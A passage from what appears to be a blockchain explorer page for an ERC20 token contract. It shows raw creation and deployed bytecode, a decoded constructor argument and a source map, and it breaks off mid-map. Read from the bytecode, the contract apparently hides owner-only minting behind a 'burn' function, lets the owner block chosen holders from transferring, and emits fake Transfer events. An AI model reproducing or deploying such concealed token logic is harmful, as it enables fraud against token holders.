87828801611583565b94509450506020611630878288016113ff565b925050604061164187828801611435565b91505092959194509250565b600060208284031215611663576116626113ac565b5b600061167184828501611435565b91505092915050565b6000602082840312156116905761168f6113ac565b5b600061169e848285016113ff565b91505092915050565b6116b08161148a565b81146116bb57600080fd5b50565b6000813590506116cd816116a7565b92915050565b6000806000604084860312156116ec576116eb6113ac565b5b600084013567ffffffffffffffff81111561170a576117096113b1565b5b61171686828701611583565b93509350506020611729868287016116be565b9150509250925092565b61173c816113d6565b82525050565b60006020820190506117576000830184611733565b92915050565b60008060408385031215611774576117736113ac565b5b6000611782858286016113ff565b9250506020611793858286016113ff565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806117e457607f821691505b6020821081036117f7576117f661179d565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000611859602883611305565b9150611864826117fd565b604082019050919050565b600060208201905081810360008301526118888161184c565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006118c982611414565b91506118d483611414565b92508282019050808211156118ec576118eb61188f565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061192c82611414565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361195e5761195d61188f565b5b600182019050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006119c5602583611305565b91506119d082611969565b604082019050919050565b600060208201905081810360008301526119f4816119b8565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611a57602683611305565b9150611a62826119fb565b604082019050919050565b60006020820190508181036000830152611a8681611a4a565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611ae9602483611305565b9150611af482611a8d565b604082019050919050565b60006020820190508181036000830152611b1881611adc565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611b7b602283611305565b9150611b8682611b1f565b604082019050919050565b60006020820190508181036000830152611baa81611b6e565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74207a65726f0000000000600082015250565b6000611be7601b83611305565b9150611bf282611bb1565b602082019050919050565b60006020820190508181036000830152611c1681611bda565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611c79602583611305565b9150611c8482611c1d565b604082019050919050565b60006020820190508181036000830152611ca881611c6c565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611d0b602383611305565b9150611d1682611caf565b604082019050919050565b60006020820190508181036000830152611d3a81611cfe565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000611d9d602683611305565b9150611da882611d41565b604082019050919050565b60006020820190508181036000830152611dcc81611d90565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611e09602083611305565b9150611e1482611dd3565b602082019050919050565b60006020820190508181036000830152611e3881611dfc565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b6000611e9b602183611305565b9150611ea682611e3f565b604082019050919050565b60006020820190508181036000830152611eca81611e8e565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b6000611f2d602283611305565b9150611f3882611ed1565b604082019050919050565b60006020820190508181036000830152611f5c81611f20565b905091905056fea264697066735822122080d1671f5fd3fe024f022a414d230b7c31e3635b16f3cc2fa4d2576666d152d464736f6c63430008120033000000000000000000000000d1ac0055717df790b0da3f2af29183f54ff48bf9

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101165760003560e01c806370a08231116100a257806395d89b411161007157806395d89b41146102e1578063a457c2d7146102ff578063a9059cbb1461032f578063dd62ed3e1461035f578063f2fde38b1461038f57610116565b806370a082311461026d578063715018a61461029d57806373fa7ddb146102a75780638da5cb5b146102c357610116565b8063313ce567116100e9578063313ce567146101b757806339509351146101d55780633a61363a1461020557806342966c68146102215780636cd20f5e1461023d57610116565b806306fdde031461011b578063095ea7b31461013957806318160ddd1461016957806323b872dd14610187575b600080fd5b6101236103ab565b604051610130919061138a565b60405180910390f35b610153600480360381019061014e919061144a565b61043d565b60405161016091906114a5565b60405180910390f35b61017161045b565b60405161017e91906114cf565b60405180910390f35b6101a1600480360381019061019c91906114ea565b610465565b6040516101ae91906114a5565b60405180910390f35b6101bf61055d565b6040516101cc9190611559565b60405180910390f35b6101ef60048036038101906101ea919061144a565b610566565b6040516101fc91906114a5565b60405180910390f35b61021f600480360381019061021a91906115d9565b610612565b005b61023b6004803603810190610236919061164d565b6106ce565b005b6102576004803603810190610252919061167a565b6106ea565b60405161026491906114a5565b60405180910390f35b6102876004803603810190610282919061167a565b610740565b60405161029491906114cf565b60405180910390f35b6102a5610789565b005b6102c160048036038101906102bc91906116d3565b61079d565b005b6102cb61084a565b6040516102d89190611742565b60405180910390f35b6102e9610874565b6040516102f6919061138a565b60405180910390f35b6103196004803603810190610314919061144a565b610906565b60405161032691906114a5565b60405180910390f35b6103496004803603810190610344919061144a565b6109f1565b60405161035691906114a5565b60405180910390f35b6103796004803603810190610374919061175d565b610a0f565b60405161038691906114cf565b60405180910390f35b6103a960048036038101906103a4919061167a565b610a96565b005b6060600680546103ba906117cc565b80601f01602080910402602001604051908101604052809291908181526020018280546103e6906117cc565b80156104335780601f1061040857610100808354040283529160200191610433565b820191906000526020600020905b81548152906001019060200180831161041657829003601f168201915b5050505050905090565b600061045161044a610b19565b8484610b21565b6001905092915050565b6000600854905090565b6000610472848484610cea565b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104bd610b19565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561053d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105349061186f565b60405180910390fd5b61055185610549610b19565b858403610b21565b60019150509392505050565b60006009905090565b6000610608610573610b19565b848460036000610581610b19565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461060391906118be565b610b21565b6001905092915050565b61061a610ff9565b60005b848490508110156106c75784848281811061063b5761063a6118f2565b5b9050602002016020810190610650919061167a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516106ac91906114cf565b60405180910390a380806106bf90611921565b91505061061d565b5050505050565b6106d6610ff9565b6106e76106e1610b19565b8261108d565b50565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610791610ff9565b61079b6000611234565b565b6107a5610ff9565b60005b838390508110156108445781600460008686858181106107cb576107ca6118f2565b5b90506020020160208101906107e0919061167a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061083c90611921565b9150506107a8565b50505050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054610883906117cc565b80601f01602080910402602001604051908101604052809291908181526020018280546108af906117cc565b80156108fc5780601f106108d1576101008083540402835291602001916108fc565b820191906000526020600020905b8154815290600101906020018083116108df57829003601f168201915b5050505050905090565b60008060036000610915610b19565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156109d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c9906119db565b60405180910390fd5b6109e66109dd610b19565b85858403610b21565b600191505092915050565b6000610a056109fe610b19565b8484610cea565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610a9e610ff9565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610b0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0490611a6d565b60405180910390fd5b610b1681611234565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8790611aff565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610bff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bf690611b91565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610cdd91906114cf565b60405180910390a3505050565b60008111610d2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2490611bfd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9390611c8f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0290611d21565b60405180910390fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610e92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8990611db3565b60405180910390fd5b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610ef25760008214610ef157600080fd5b5b818103600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f8791906118be565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610feb91906114cf565b60405180910390a350505050565b600080611004610b19565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661108b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108290611e1f565b60405180910390fd5b565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110f390611eb1565b60405180910390fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811115611183576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117a90611f43565b60405180910390fd5b818101600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161122791906114cf565b60405180910390a3505050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611334578082015181840152602081019050611319565b60008484015250505050565b6000601f19601f8301169050919050565b600061135c826112fa565b6113668185611305565b9350611376818560208601611316565b61137f81611340565b840191505092915050565b600060208201905081810360008301526113a48184611351565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006113e1826113b6565b9050919050565b6113f1816113d6565b81146113fc57600080fd5b50565b60008135905061140e816113e8565b92915050565b6000819050919050565b61142781611414565b811461143257600080fd5b50565b6000813590506114448161141e565b92915050565b60008060408385031215611461576114606113ac565b5b600061146f858286016113ff565b925050602061148085828601611435565b9150509250929050565b60008115159050919050565b61149f8161148a565b82525050565b60006020820190506114ba6000830184611496565b92915050565b6114c981611414565b82525050565b60006020820190506114e460008301846114c0565b92915050565b600080600060608486031215611503576115026113ac565b5b6000611511868287016113ff565b9350506020611522868287016113ff565b925050604061153386828701611435565b9150509250925092565b600060ff82169050919050565b6115538161153d565b82525050565b600060208201905061156e600083018461154a565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f84011261159957611598611574565b5b8235905067ffffffffffffffff8111156115b6576115b5611579565b5b6020830191508360208202830111156115d2576115d161157e565b5b9250929050565b600080600080606085870312156115f3576115f26113ac565b5b600085013567ffffffffffffffff811115611611576116106113b1565b5b61161d87828801611583565b94509450506020611630878288016113ff565b925050604061164187828801611435565b91505092959194509250565b600060208284031215611663576116626113ac565b5b600061167184828501611435565b91505092915050565b6000602082840312156116905761168f6113ac565b5b600061169e848285016113ff565b91505092915050565b6116b08161148a565b81146116bb57600080fd5b50565b6000813590506116cd816116a7565b92915050565b6000806000604084860312156116ec576116eb6113ac565b5b600084013567ffffffffffffffff81111561170a576117096113b1565b5b61171686828701611583565b93509350506020611729868287016116be565b9150509250925092565b61173c816113d6565b82525050565b60006020820190506117576000830184611733565b92915050565b60008060408385031215611774576117736113ac565b5b6000611782858286016113ff565b9250506020611793858286016113ff565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806117e457607f821691505b6020821081036117f7576117f661179d565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000611859602883611305565b9150611864826117fd565b604082019050919050565b600060208201905081810360008301526118888161184c565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006118c982611414565b91506118d483611414565b92508282019050808211156118ec576118eb61188f565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061192c82611414565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361195e5761195d61188f565b5b600182019050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006119c5602583611305565b91506119d082611969565b604082019050919050565b600060208201905081810360008301526119f4816119b8565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611a57602683611305565b9150611a62826119fb565b604082019050919050565b60006020820190508181036000830152611a8681611a4a565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611ae9602483611305565b9150611af482611a8d565b604082019050919050565b60006020820190508181036000830152611b1881611adc565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611b7b602283611305565b9150611b8682611b1f565b604082019050919050565b60006020820190508181036000830152611baa81611b6e565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74207a65726f0000000000600082015250565b6000611be7601b83611305565b9150611bf282611bb1565b602082019050919050565b60006020820190508181036000830152611c1681611bda565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611c79602583611305565b9150611c8482611c1d565b604082019050919050565b60006020820190508181036000830152611ca881611c6c565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611d0b602383611305565b9150611d1682611caf565b604082019050919050565b60006020820190508181036000830152611d3a81611cfe565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000611d9d602683611305565b9150611da882611d41565b604082019050919050565b60006020820190508181036000830152611dcc81611d90565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611e09602083611305565b9150611e1482611dd3565b602082019050919050565b60006020820190508181036000830152611e3881611dfc565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b6000611e9b602183611305565b9150611ea682611e3f565b604082019050919050565b60006020820190508181036000830152611eca81611e8e565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b6000611f2d602283611305565b9150611f3882611ed1565b604082019050919050565b60006020820190508181036000830152611f5c81611f20565b905091905056fea264697066735822122080d1671f5fd3fe024f022a414d230b7c31e3635b16f3cc2fa4d2576666d152d464736f6c63430008120033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000d1ac0055717df790b0da3f2af29183f54ff48bf9

-----Decoded View---------------
Arg [0] : _reserve (address): 0xD1aC0055717df790b0dA3f2AF29183F54Ff48Bf9

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000d1ac0055717df790b0da3f2af29183f54ff48bf9


Deployed Bytecode Sourcemap

133:8468:3:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1104:94;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2679:149;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1518:102;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3573:426;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1322:94;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5020:190;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7252:185;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7738:92;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7445:133;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1798:121;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1173:103:2;;;:::i;:::-;;8398:198:3;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;942:87:2;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;907:98:3;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4317:370;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2199:165;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3116:133;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1284:201:2;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1104:94:3;1158:13;1187:5;1180:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1104:94;:::o;2679:149::-;2757:4;2770:34;2779:12;:10;:12::i;:::-;2793:2;2797:6;2770:8;:34::i;:::-;2818:4;2811:11;;2679:149;;;;:::o;1518:102::-;1579:7;1602:12;;1595:19;;1518:102;:::o;3573:426::-;3679:4;3692:36;3702:6;3710:9;3721:6;3692:9;:36::i;:::-;3737:24;3764:11;:19;3776:6;3764:19;;;;;;;;;;;;;;;:33;3784:12;:10;:12::i;:::-;3764:33;;;;;;;;;;;;;;;;3737:60;;3832:6;3812:16;:26;;3804:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;3909:57;3918:6;3926:12;:10;:12::i;:::-;3959:6;3940:16;:25;3909:8;:57::i;:::-;3989:4;3982:11;;;3573:426;;;;;:::o;1322:94::-;1380:5;476:1;1394:16;;1322:94;:::o;5020:190::-;5103:4;5116:70;5125:12;:10;:12::i;:::-;5139:2;5175:10;5143:11;:25;5155:12;:10;:12::i;:::-;5143:25;;;;;;;;;;;;;;;:29;5169:2;5143:29;;;;;;;;;;;;;;;;:42;;;;:::i;:::-;5116:8;:70::i;:::-;5200:4;5193:11;;5020:190;;;;:::o;7252:185::-;901:13:2;:11;:13::i;:::-;7346:9:3::1;7341:91;7365:4;;:11;;7361:1;:15;7341:91;;;7411:4;;7416:1;7411:7;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;7399:25;;7408:1;7399:25;;;7420:3;7399:25;;;;;;:::i;:::-;;;;;;;;7378:3;;;;;:::i;:::-;;;;7341:91;;;;7252:185:::0;;;;:::o;7738:92::-;901:13:2;:11;:13::i;:::-;7797:27:3::1;7803:12;:10;:12::i;:::-;7817:6;7797:5;:27::i;:::-;7738:92:::0;:::o;7445:133::-;7504:4;7524:40;:48;7565:6;7524:48;;;;;;;;;;;;;;;;;;;;;;;;;7517:55;;7445:133;;;:::o;1798:121::-;1872:7;1895:9;:18;1905:7;1895:18;;;;;;;;;;;;;;;;1888:25;;1798:121;;;:::o;1173:103:2:-;901:13;:11;:13::i;:::-;1238:30:::1;1265:1;1238:18;:30::i;:::-;1173:103::o:0;8398:198:3:-;901:13:2;:11;:13::i;:::-;8476:9:3::1;8471:120;8495:4;;:11;;8491:1;:15;8471:120;;;8580:3;8528:40;:49;8569:4;;8574:1;8569:7;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;8528:49;;;;;;;;;;;;;;;;:55;;;;;;;;;;;;;;;;;;8508:3;;;;;:::i;:::-;;;;8471:120;;;;8398:198:::0;;;:::o;942:87:2:-;988:7;1015:6;;;;;;;;;;;1008:13;;942:87;:::o;907:98:3:-;963:13;992:7;985:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;907:98;:::o;4317:370::-;4405:4;4418:24;4445:11;:25;4457:12;:10;:12::i;:::-;4445:25;;;;;;;;;;;;;;;:29;4471:2;4445:29;;;;;;;;;;;;;;;;4418:56;;4509:15;4489:16;:35;;4481:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;4592:62;4601:12;:10;:12::i;:::-;4615:2;4638:15;4619:16;:34;4592:8;:62::i;:::-;4677:4;4670:11;;;4317:370;;;;:::o;2199:165::-;2285:4;2298:42;2308:12;:10;:12::i;:::-;2322:9;2333:6;2298:9;:42::i;:::-;2354:4;2347:11;;2199:165;;;;:::o;3116:133::-;3199:7;3222:11;:17;3234:4;3222:17;;;;;;;;;;;;;;;:21;3240:2;3222:21;;;;;;;;;;;;;;;;3215:28;;3116:133;;;;:::o;1284:201:2:-;901:13;:11;:13::i;:::-;1393:1:::1;1373:22;;:8;:22;;::::0;1365:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;1449:28;1468:8;1449:18;:28::i;:::-;1284:201:::0;:::o;646:98:0:-;699:7;726:10;719:17;;646:98;:::o;8088:304:3:-;8196:1;8180:18;;:4;:18;;;8172:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;8268:1;8254:16;;:2;:16;;;8246:63;;;;;;;;;;;;:::i;:::-;;;;;;;;;8342:6;8318:11;:17;8330:4;8318:17;;;;;;;;;;;;;;;:21;8336:2;8318:21;;;;;;;;;;;;;;;:30;;;;8375:2;8360:26;;8369:4;8360:26;;;8379:6;8360:26;;;;;;:::i;:::-;;;;;;;;8088:304;;;:::o;5466:694::-;5577:1;5568:6;:10;5560:50;;;;;;;;;;;;:::i;:::-;;;;;;;;;5643:1;5625:20;;:6;:20;;;5617:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;5723:1;5702:23;;:9;:23;;;5694:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;5774:21;5798:9;:17;5808:6;5798:17;;;;;;;;;;;;;;;;5774:41;;5847:6;5830:13;:23;;5822:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;5906:40;:48;5947:6;5906:48;;;;;;;;;;;;;;;;;;;;;;;;;5903:91;;;5984:1;5974:6;:11;5966:20;;;;;;5903:91;6055:6;6039:13;:22;6019:9;:17;6029:6;6019:17;;;;;;;;;;;;;;;:42;;;;6099:6;6075:9;:20;6085:9;6075:20;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;6136:9;6119:35;;6128:6;6119:35;;;6147:6;6119:35;;;;;;:::i;:::-;;;;;;;;5553:607;5466:694;;;:::o;1037:128:2:-;1101:5;:19;1107:12;:10;:12::i;:::-;1101:19;;;;;;;;;;;;;;;;;;;;;;;;;1093:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;1037:128::o;6835:407:3:-;6938:1;6919:21;;:7;:21;;;6911:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;6991:22;7016:9;:18;7026:7;7016:18;;;;;;;;;;;;;;;;6991:43;;7071:6;7053:14;:24;;7045:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;7176:6;7159:14;:23;7138:9;:18;7148:7;7138:18;;;;;;;;;;;;;;;:44;;;;7225:1;7199:37;;7208:7;7199:37;;;7229:6;7199:37;;;;;;:::i;:::-;;;;;;;;6900:342;6835:407;;:::o;1493:191:2:-;1567:16;1586:6;;;;;;;;;;;1567:25;;1612:8;1603:6;;:17;;;;;;;;;;;;;;;;;;1667:8;1636:40;;1657:8;1636:40;;;;;;;;;;;;1556:128;1493:191;:::o;7:99:4:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1553:117;1662:1;1659;1652:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4